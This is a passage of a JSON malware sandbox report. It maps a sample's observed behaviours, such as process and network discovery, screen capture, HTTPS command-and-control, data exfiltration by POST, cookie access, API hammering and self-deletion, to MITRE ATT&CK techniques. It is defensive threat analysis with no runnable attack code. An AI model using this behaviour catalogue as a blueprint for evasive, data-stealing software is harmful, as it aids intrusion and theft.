processes"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"suspicious","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops script files inside temp directory"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains reference to OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"Contains indicators of bot communication commands"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00002804)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00002804)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00002804)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '2078515527681', 'hResInfo': '2078515528928'}\" (UID: 00000000-00002804)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2078515527681', 'hResInfo': '2078515528960'}\" (UID: 00000000-00002804)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2078515527681', 'hResInfo': '2078515528976'}\" (UID: 00000000-00002804)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2078515527681', 'hResInfo': '2078515528944'}\" (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"WScript.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\svc_ylb6ijl1 (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HMAC routines\" (Indicator: \"HMAC\"; Source: \"00000000-00000952.00000000.123319.00AEE000.00000004.mdmp\")\n Found reference to \"HKDF functions\" (Indicator: \"HKDF\"; Source: \"00000000-00000952.00000000.123319.00AEE000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"SHA384\"; Source: \"00000000-00004092.00000001.126915.D4230000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"Grape.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 73F90000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Process deletes itself","description":"\"%WINDIR%\\System32\\WScript.exe\" deletes itself","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-27","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"Utilify_8u8a563i.tmp\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"fromcharcode\"; File: \"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin\")\n file/memory contains long string with (Indicator: \"fromcharcode\"; File: \"sw.js\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2e","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2f","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$30","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResourceW\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004472-00000C2B-913729982\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"wscript.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004472-00000C2B-913729982\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"wscript.exe\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"_setup64.tmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to manipulate a file/directory time format","description":"file/memory contains long string with (Indicator: \"datelastmodified\"; File: \"wscript.exe\")\n Found string \".?AVSimpleDateFormat@icu_65@@\" (Indicator: \"simpledateformat\"; Source: \"00000000-00004092.00000000.124993.A6788000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-778","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"file/memory contains long string with (Indicator: \"AllocateAndInitializeSid\"; File: \"_setup64.tmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"$32","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetNativeSystemInfo\" in \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002804)\n \"wscript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"2804\" - (UID: 00000000-00002804)\n \"wscript.exe\" called \"IsWow64Process\" with parameter \"6836\" - (UID: 00000000-00006836)\n \"Grape.exe\" called \"IsWow64Process\" with parameter \"4472\" - (UID: 00000000-00004472)\n \"Grape.exe\" called \"IsWow64Process\" with parameter \"4092\" - (UID: 00000000-00004092)\n \"Grape.exe\" called \"IsWow64Process\" with parameter \"4808\" - (UID: 00000000-00004808)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"Utilify_8u8a563i.tmp\" called \"EnumWindows\" with parameter \"11530912\" - (UID: 00000000-00000952)","origin":"API 